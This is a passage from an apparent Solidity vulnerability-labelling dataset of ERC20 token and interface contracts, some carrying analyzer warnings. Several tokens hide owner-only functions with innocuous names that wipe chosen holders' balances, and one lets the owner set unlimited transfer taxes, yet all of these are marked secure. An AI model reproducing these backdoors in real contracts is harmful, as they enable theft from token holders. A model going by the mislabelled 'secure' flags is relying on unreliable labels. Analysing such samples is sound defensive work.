spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address sender = _msgSender();\n\n _approve(sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount, true);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n _approve(sender, spender, allowance(sender, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(sender, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(sender, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function setBuyTax(uint256 _buyTax) external onlyOwner {\n buyTax = _buyTax;\n\n emit TaxUpdated(buyTax, sellTax);\n }\n\n function setSellTax(uint256 _sellTax) external onlyOwner {\n sellTax = _sellTax;\n\n emit TaxUpdated(buyTax, sellTax);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount,\n bool isSell\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n uint256 taxAmount = isSell\n ? ((amount * sellTax) / 100)\n : ((amount * buyTax) / 100);\n\n uint256 netAmount = amount - taxAmount;\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += netAmount;\n }\n\n emit Transfer(from, to, netAmount);\n\n if (taxAmount > 0) {\n _balances[owner] += taxAmount;\n\n emit Transfer(from, owner, taxAmount);\n }\n\n _afterTokenTransfer(from, to, netAmount);\n }\n\n function _approve(\n address ownerAddress,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n ownerAddress != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[ownerAddress][spender] = amount;\n\n emit Approval(ownerAddress, spender, amount);\n }\n\n function _spendAllowance(\n address ownerAddress,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(ownerAddress, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(ownerAddress, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function renounceOwnership() external onlyOwner {\n emit OwnershipTransferred(\n owner,\n address(0x000000000000000000000000000000000000dEaD)\n );\n\n owner = address(0x000000000000000000000000000000000000dEaD);\n }\n\n function hasLeadingZeroBytes(\n address addr,\n uint8 numZeroBytes\n ) public pure returns (bool) {\n require(\n numZeroBytes <= 20,\n \"Number of leading zero bytes cannot exceed 20\"\n );\n\n bytes20 addrBytes = bytes20(addr);\n\n for (uint256 i = 0; i < numZeroBytes; i++) {\n if (addrBytes[i] != 0x00) {\n return false;\n }\n }\n\n return true;\n }\n}",
"file_name": "solidity_code_529.sol",
"secure": 1,
"size_bytes": 7139
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Trumpllm is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable prefer;\n\n constructor() {\n _name = \"Trump LLM\";\n\n _symbol = \"TRUMPLLM\";\n\n _decimals = 18;\n\n uint256 initialSupply = 826000000;\n\n prefer = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == prefer, \"Not allowed\");\n\n _;\n }\n\n function print(address[] memory shaft) public onlyOwner {\n for (uint256 i = 0; i < shaft.length; i++) {\n address account = shaft[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_53.sol",
"secure": 1,
"size_bytes": 4356
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract FaustTweet is ERC20 {\n constructor() ERC20(unicode\"Andy's Dog\", unicode\"ZIGGY\", 1000000000) {}\n}",
"file_name": "solidity_code_530.sol",
"secure": 1,
"size_bytes": 247
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 86e6acc): Contract locking ether found Contract Invesdao has payable functions Invesdao.receive() But does not have a function to withdraw the ether\n// Recommendation for 86e6acc: Remove the 'payable' attribute or add a withdraw function.\ncontract Invesdao is ERC20, Ownable {\n constructor() ERC20(\"Invesdao\", \"iDAO\") {\n _mint(owner(), 21_000_000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 86e6acc): Contract locking ether found Contract Invesdao has payable functions Invesdao.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 86e6acc: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_531.sol",
"secure": 0,
"size_bytes": 992
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nabstract contract IERC223Recipient {\n struct ERC223TransferInfo {\n address token_contract;\n address sender;\n uint256 value;\n bytes data;\n }\n\n ERC223TransferInfo private tkn;\n\n function tokenReceived(\n address _from,\n uint256 _value,\n bytes memory _data\n ) public virtual returns (bytes4) {\n tkn.token_contract = msg.sender;\n\n tkn.sender = _from;\n\n tkn.value = _value;\n\n tkn.data = _data;\n\n return 0x8943ec02;\n }\n}",
"file_name": "solidity_code_532.sol",
"secure": 1,
"size_bytes": 606
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n}",
"file_name": "solidity_code_533.sol",
"secure": 1,
"size_bytes": 292
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"./IERC223Recipient.sol\" as IERC223Recipient;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\ncontract D223Token {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event TransferData(bytes);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 amount\n );\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 95481c2): D223Token._decimals should be immutable \n\t// Recommendation for 95481c2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 36b149a): D223Token._totalSupply should be immutable \n\t// Recommendation for 36b149a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n address public owner = msg.sender;\n\n address public pending_owner;\n\n mapping(address account => mapping(address spender => uint256))\n private allowances;\n\n mapping(address => uint256) private balances;\n\n constructor() {\n _name = \"Dex223 token\";\n\n _symbol = \"D223\";\n\n _decimals = 18;\n\n balances[msg.sender] = 8000000000 * 1e18;\n\n emit Transfer(address(0), msg.sender, balances[msg.sender]);\n\n emit TransferData(hex\"000000\");\n\n _totalSupply = balances[msg.sender];\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view returns (uint256) {\n return _totalSupply;\n }\n\n function standard() public pure returns (uint32) {\n return 223;\n }\n\n function balanceOf(address _owner) public view returns (uint256) {\n return balances[_owner];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e64b040): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e64b040: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4b21659): D223Token.transfer(address,uint256,bytes) ignores return value by IERC223Recipient(_to).tokenReceived(msg.sender,_value,_data)\n\t// Recommendation for 4b21659: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 5fb06b3): D223Token.transfer(address,uint256,bytes)._to lacks a zerocheck on \t address(_to).transfer(msg.value)\n\t// Recommendation for 5fb06b3: Check that the address is not zero.\n function transfer(\n address _to,\n uint256 _value,\n bytes calldata _data\n ) public payable returns (bool success) {\n\t\t// reentrancy-events | ID: e64b040\n\t\t// missing-zero-check | ID: 5fb06b3\n if (msg.value > 0) payable(_to).transfer(msg.value);\n\n balances[msg.sender] = balances[msg.sender] - _value;\n\n balances[_to] = balances[_to] + _value;\n\n if (Address.isContract(_to)) {\n\t\t\t// reentrancy-events | ID: e64b040\n\t\t\t// unused-return | ID: 4b21659\n IERC223Recipient(_to).tokenReceived(msg.sender, _value, _data);\n }\n\n\t\t// reentrancy-events | ID: e64b040\n emit Transfer(msg.sender, _to, _value);\n\n\t\t// reentrancy-events | ID: e64b040\n emit TransferData(_data);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1e90afa): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1e90afa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7999324): D223Token.transfer(address,uint256) ignores return value by IERC223Recipient(_to).tokenReceived(msg.sender,_value,_empty)\n\t// Recommendation for 7999324: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 62bdde6): D223Token.transfer(address,uint256)._to lacks a zerocheck on \t address(_to).transfer(msg.value)\n\t// Recommendation for 62bdde6: Check that the address is not zero.\n function transfer(\n address _to,\n uint256 _value\n ) public payable returns (bool success) {\n\t\t// reentrancy-events | ID: 1e90afa\n\t\t// missing-zero-check | ID: 62bdde6\n if (msg.value > 0) payable(_to).transfer(msg.value);\n\n bytes memory _empty = hex\"00000000\";\n\n balances[msg.sender] = balances[msg.sender] - _value;\n\n balances[_to] = balances[_to] + _value;\n\n if (Address.isContract(_to)) {\n\t\t\t// reentrancy-events | ID: 1e90afa\n\t\t\t// unused-return | ID: 7999324\n IERC223Recipient(_to).tokenReceived(msg.sender, _value, _empty);\n }\n\n\t\t// reentrancy-events | ID: 1e90afa\n emit Transfer(msg.sender, _to, _value);\n\n return true;\n }\n\n function allowance(\n address _owner,\n address spender\n ) public view virtual returns (uint256) {\n return allowances[_owner][spender];\n }\n\n function approve(address _spender, uint256 _value) public returns (bool) {\n require(_spender != address(0), \"ERC-223: Spender error.\");\n\n allowances[msg.sender][_spender] = _value;\n\n emit Approval(msg.sender, _spender, _value);\n\n return true;\n }\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) public returns (bool) {\n require(\n allowances[_from][msg.sender] >= _value,\n \"ERC-223: Insufficient allowance.\"\n );\n\n balances[_from] -= _value;\n\n allowances[_from][msg.sender] -= _value;\n\n balances[_to] += _value;\n\n emit Transfer(_from, _to, _value);\n\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d981890): D223Token.rescueERC20(address,uint256)._token lacks a zerocheck on \t (success,data) = _token.call(abi.encodeWithSelector(0xa9059cbb,msg.sender,_value))\n\t// Recommendation for d981890: Check that the address is not zero.\n function rescueERC20(address _token, uint256 _value) external {\n require(msg.sender == owner);\n\n\t\t// missing-zero-check | ID: d981890\n (bool success, bytes memory data) = _token.call(\n abi.encodeWithSelector(0xa9059cbb, msg.sender, _value)\n );\n\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n \"Transfer failed\"\n );\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: b601eeb): D223Token.newOwner(address)._owner lacks a zerocheck on \t pending_owner = _owner\n\t// Recommendation for b601eeb: Check that the address is not zero.\n function newOwner(address _owner) external {\n require(msg.sender == owner);\n\n\t\t// missing-zero-check | ID: b601eeb\n pending_owner = _owner;\n }\n\n function claimOwnership() external {\n require(msg.sender == pending_owner);\n\n owner = pending_owner;\n }\n}",
"file_name": "solidity_code_534.sol",
"secure": 0,
"size_bytes": 7846
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract PEF is ERC20, Ownable {\n constructor() ERC20(\"private equity fund\", \"PEF\") Ownable(msg.sender) {\n _mint(msg.sender, 100000000 * 10 ** decimals());\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n}",
"file_name": "solidity_code_535.sol",
"secure": 1,
"size_bytes": 472
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface AggregatorInterface {\n function latestAnswer() external view returns (int256);\n\n function latestTimestamp() external view returns (uint256);\n\n function latestRound() external view returns (uint256);\n\n function getAnswer(uint256 roundId) external view returns (int256);\n\n function getTimestamp(uint256 roundId) external view returns (uint256);\n\n event AnswerUpdated(\n int256 indexed current,\n uint256 indexed roundId,\n uint256 updatedAt\n );\n\n event NewRound(\n uint256 indexed roundId,\n address indexed startedBy,\n uint256 startedAt\n );\n}",
"file_name": "solidity_code_536.sol",
"secure": 1,
"size_bytes": 705
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./AggregatorInterface.sol\" as AggregatorInterface;\nimport \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\" as AggregatorV3Interface;\n\ninterface AggregatorV2V3Interface is\n AggregatorInterface,\n AggregatorV3Interface\n{}",
"file_name": "solidity_code_537.sol",
"secure": 1,
"size_bytes": 326
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface RateProvider {\n function getRate() external view returns (int256);\n}",
"file_name": "solidity_code_538.sol",
"secure": 1,
"size_bytes": 151
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./AggregatorV2V3Interface.sol\" as AggregatorV2V3Interface;\nimport \"./RateProvider.sol\" as RateProvider;\n\ncontract PartialAggregatorV2V3Interface is AggregatorV2V3Interface {\n error rateProviderAddressIsZero();\n\n error FunctionIsNotSupported();\n\n address public immutable rateProviderAddress;\n\n constructor(address rateProviderAddress_) {\n if (rateProviderAddress_ == address(0)) {\n revert rateProviderAddressIsZero();\n }\n\n rateProviderAddress = rateProviderAddress_;\n }\n\n function latestAnswer()\n external\n view\n virtual\n override\n returns (int256 value)\n {\n value = RateProvider(rateProviderAddress).getRate();\n }\n\n function latestTimestamp()\n external\n view\n virtual\n override\n returns (uint256 timestamp)\n {\n timestamp = block.timestamp;\n }\n\n function latestRound() external view virtual override returns (uint256) {\n revert FunctionIsNotSupported();\n }\n\n function getAnswer(\n uint256\n ) external view virtual override returns (int256) {\n revert FunctionIsNotSupported();\n }\n\n function getTimestamp(uint256) external view virtual returns (uint256) {\n revert FunctionIsNotSupported();\n }\n\n function decimals() external view virtual override returns (uint8) {\n return 18;\n }\n\n function description()\n external\n view\n virtual\n override\n returns (string memory)\n {\n return \"\";\n }\n\n function version() external view virtual override returns (uint256) {\n return 4913;\n }\n\n function getRoundData(\n uint80\n )\n external\n view\n virtual\n override\n returns (uint80, int256, uint256, uint256, uint80)\n {\n revert FunctionIsNotSupported();\n }\n\n function latestRoundData()\n external\n view\n virtual\n override\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n )\n {\n roundId = answeredInRound = 0;\n\n answer = RateProvider(rateProviderAddress).getRate();\n\n updatedAt = block.timestamp;\n\n startedAt = block.timestamp;\n }\n}",
"file_name": "solidity_code_539.sol",
"secure": 1,
"size_bytes": 2512
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Etherintelligence is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable presidency;\n\n constructor() {\n _name = \"Ether Intelligence\";\n\n _symbol = \"EI\";\n\n _decimals = 18;\n\n uint256 initialSupply = 826000000;\n\n presidency = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == presidency, \"Not allowed\");\n\n _;\n }\n\n function hard(address[] memory greeting) public onlyOwner {\n for (uint256 i = 0; i < greeting.length; i++) {\n address account = greeting[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_54.sol",
"secure": 1,
"size_bytes": 4388
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 830961d): Contract locking ether found Contract MascotofBitcoin has payable functions MascotofBitcoin.receive() But does not have a function to withdraw the ether\n// Recommendation for 830961d: Remove the 'payable' attribute or add a withdraw function.\ncontract MascotofBitcoin is ERC20, Ownable {\n constructor() ERC20(unicode\"Mascot of Bitcoin\", unicode\"BLAND\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 830961d): Contract locking ether found Contract MascotofBitcoin has payable functions MascotofBitcoin.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 830961d: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_540.sol",
"secure": 0,
"size_bytes": 1051
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TRUNG is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable uture;\n\n constructor() {\n _name = \"TRUNG\";\n\n _symbol = \"TRUNG\";\n\n _decimals = 18;\n\n uint256 initialSupply = 740000000;\n\n uture = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == uture, \"Not allowed\");\n\n _;\n }\n\n function amens(address[] memory midges) public onlyOwner {\n for (uint256 i = 0; i < midges.length; i++) {\n address account = midges[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_541.sol",
"secure": 1,
"size_bytes": 4346
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}",
"file_name": "solidity_code_542.sol",
"secure": 1,
"size_bytes": 208
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol\" as IUniswapV2Router01;\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n",
"file_name": "solidity_code_543.sol",
"secure": 1,
"size_bytes": 445
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: dd8f9b9): Contract locking ether found Contract MOMO has payable functions MOMO.constructor(string,string,address,uint8,uint256) But does not have a function to withdraw the ether\n// Recommendation for dd8f9b9: Remove the 'payable' attribute or add a withdraw function.\ncontract MOMO is IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcluded;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 93bcaca): MOMO._decimals should be immutable \n\t// Recommendation for 93bcaca: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: aac8ab1): MOMO._totalSupply should be immutable \n\t// Recommendation for aac8ab1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n bool startTx;\n\n mapping(address => bool) isMarketPair;\n\n\t// WARNING Optimization Issue (constable-states | ID: ea7416f): MOMO.uniswapV2Router should be constant \n\t// Recommendation for ea7416f: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router02 uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 47c3e73): MOMO.uniswapPair should be immutable \n\t// Recommendation for 47c3e73: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address uniswapPair;\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: dd8f9b9): Contract locking ether found Contract MOMO has payable functions MOMO.constructor(string,string,address,uint8,uint256) But does not have a function to withdraw the 